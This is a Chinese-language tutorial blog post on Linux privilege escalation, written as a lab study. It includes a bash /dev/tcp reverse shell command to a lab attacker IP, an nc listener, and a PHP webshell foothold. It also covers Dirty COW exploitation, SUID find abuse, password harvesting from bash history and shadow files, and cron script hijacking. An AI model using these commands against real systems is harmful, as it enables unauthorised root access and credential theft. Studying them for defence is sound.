提权学习之旅——Linux操作系统提权
首發于先知社區
https://xz.aliyun.com/t/8139
前言:
上次學習了Windows操作系統的提權以及相關工具的利用,這次就來學習一下Linux操作系統的提權
Linux提權基礎
0x00:Linux提權方法
大致歸納總結如下:
不過最核心也是最常見的提取方法還是內核提權,其他大多與程序員的配置有關,出現的幾率不是很高。
0x01:Linux提權基礎知識
uname -a 查看內核版本 id 顯示用戶的ID,以及所屬群組的ID pwd 顯示當前路徑 dpkg -l rpm -qa 查看已經安裝的程序 cat /etc/issue cat /etc/*-release 查看發行版密碼權限
大部分Linux系統的密碼都和/etc/passwd和/etc/shadow這兩個配置文件有關,passwd里面儲存的是用戶,shadow里面存儲的是密碼的hash值。出于安全考慮passwd是全用戶可讀,root可寫的,而shadow是僅root可讀寫的。
/etc/passwd
passwd由冒號分割,第一列是用戶名,第二列是密碼,x代表密碼hash被放在shadow里面.
/etc/shadow
shadow里面的就是密碼的hash,但只有root權限才可以查看。
密碼復用
另外需要注意的是很多管理員會重復使用密碼,所以有可能數據庫或者web后臺的密碼就是root密碼。
提權常見的流程
0x02:Linux反彈shell
Linux一般拿到shell,權限基本都很低,而且在菜刀或其他工具中執行命令沒有交互過程(在菜刀等工具中,只是輸入返回內容,如在菜刀中執行ssh等命令就不可行),所以需要通過反彈shell擁有一個交互式的shell。
準備環境
ubuntu + apache kail 192.168.186.134 ubuntu 192.168.186.152上傳進去一個php一句話木馬,菜刀連接
查看當前權限
下面就使用反彈shell的方法獲取到交互式shell
第一種方法:
利用最經典也是最常用的方法進行反彈shell,另外反彈shell時設置的端口最好是常用端口,不常用的端口可能會被防火墻給攔截掉。
先進行本地進行監聽: nc -lvp 53 然后在拿到shell的機器上執行: bash -i >& /dev/tcp/192.168.186.134/53 0>&1但是執行失敗了,沒有權限
第二種方法:
利用python腳本進行反彈shell,要將腳本上傳到服務器上就要找一個低權限用戶可以上傳且可以執行的目錄,一般在tmp或者/var/tmp中就有這樣的權限
pyshell
反彈成功,這樣就形成了一個交互式的shell,方便下一步的進行
如果在使用python文件沒有權限時,使用如下命令即可,因為該文件是當前用戶上傳進去的,擁有修改的權限。
chmod 777 back.py0x03:臟牛提權
Dirty COW,CVE-2016-5195,攻擊者可利用該漏洞本地以低權限提升到root權限。Dirty COW 是一個特權升級漏洞,可以在每個Linux發行版中找到。這個漏洞的特別之處在于,防病毒和安全軟件無法檢測,一旦被利用,根本無從知曉。
漏洞在全版本Linux系統(Linux kernel >= 2.6.22)均可以實現提權 如果內核版本低于列表里的版本,表示還存在臟牛漏洞 Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1exp地址
在反彈shell成功的基礎上繼續來做
先來看一下操作系統的版本,低于列表里的版本即存在臟牛漏洞
uname -r通過/etc/passwd了解到超級管理員是root
查看下當前用戶的id
下載exp文件
可以看exp中的說明來執行命令
先通過gcc來編譯dirty.c文件
編譯好的dirty文件,替換root用戶
成功替換掉了原來的root用戶,提權成功。
臟牛提權除下這個exp,還有其他的,例如:CVE-2016-5195,具體就不在演示了,按照說明即可,注意文件名不對,自己改下就好。
Linux提權實戰
0x00:Linux分析工具
Linux-exploit-suggester
Linux權限提升審核工具,是基于操作系統的內核版本號。程序會執行“uname -r”命令來獲取Linux操作系統發行版本,之后返回一個包含了適用exploits的提示列表。
Linux-exploit-suggester
./linux-exploit-suggester.sh執行命令即可
這樣就將存在的漏洞呈現了出來,利用exp提權即可,非常方便.
Searchsploit
Searchsploit通過本地的exploit-db, 查找軟件漏洞信息
使用方法:
searchsploit
如需查看CentOS 7 內核版本為3.10的內核漏洞
知道該內核版本下存在哪些漏洞即可進行提權操作
0x02:SUID提權
什么是SUID
在Linux中,存在suid、guid、sticky,SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。
如果想要為文件附上這樣的權限命令:
chmod u+s chmod 4755(有s標志位便是擁有SUID權限)
具體的話大致理解就是通過擁有SUID權限二進制文件或程序可以執行命令等,從而進行root提權操作
查找符合條件的文件
上面的所有二進制文件都可以在root權限下運行,因為屬主是root,且權限中含有s
下面就以find命令來實踐一下,首先要給find設當SUID權限
chmod u+s /usr/bin/find
如果Find命令也是以Suid權限運行的話,則將通過find執行的所有命令都會以root權限執行。
當前用戶為
隨便找一個文件主要是為了執行后面的命令
提權成功,接下來以root用戶的身份反彈shell
如果出現如下錯誤,關閉兩邊的防火墻即可
反彈shell成功,當然還有其他命令可以進行提權,前提是要有SUID權限,這里就不再舉例了。
0x03:歷史記錄提權
通過查看歷史記錄,查看是否有有用的信息,有的管理員為了方便登陸mysql或其他軟件時,不經意間加上參數-p,從而將密碼暴露出來或者一些.sh腳本連接mysql、vpn等,查看對應的配置文件即可拿到賬號密碼
cat ~/.bash_history 保存了當前用戶使用過的歷史命令
如果拿到數據庫的賬號密碼,有可能就是root密碼
0x04:計劃任務提權
系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計劃任務的。但是/etc/內系統的計劃任務可以被列出
ls -l /etc/cron*
默認這些程序是以root權限執行,如果有任意用戶可寫的腳本,我們就可以修改腳本等回連rootshell了。
0x05:配置錯誤引發提權
手動找如果對Linux系統不熟悉的話基本是找不到的,所以可以利用工具去查找
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
檢查了非常多的配置問題,而且還列出了所有的可寫文件,如果找到有配置問題的便可以進行提權操作。
總結
經過這次學習,簡單的算是對Linux提權有了一定的了解,但還有很多姿勢需要去學習,還是需要不斷去積累。
參考博客
https://www.cnblogs.com/BOHB-yunying/articles/11517748.html
https://www.cnblogs.com/hookjoy/p/6612595.html
總結
以上是生活随笔為你收集整理的提权学习之旅——Linux操作系统提权的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 提权学习之旅——利用Metasploit
- 下一篇: linux各个服务器的软件自启动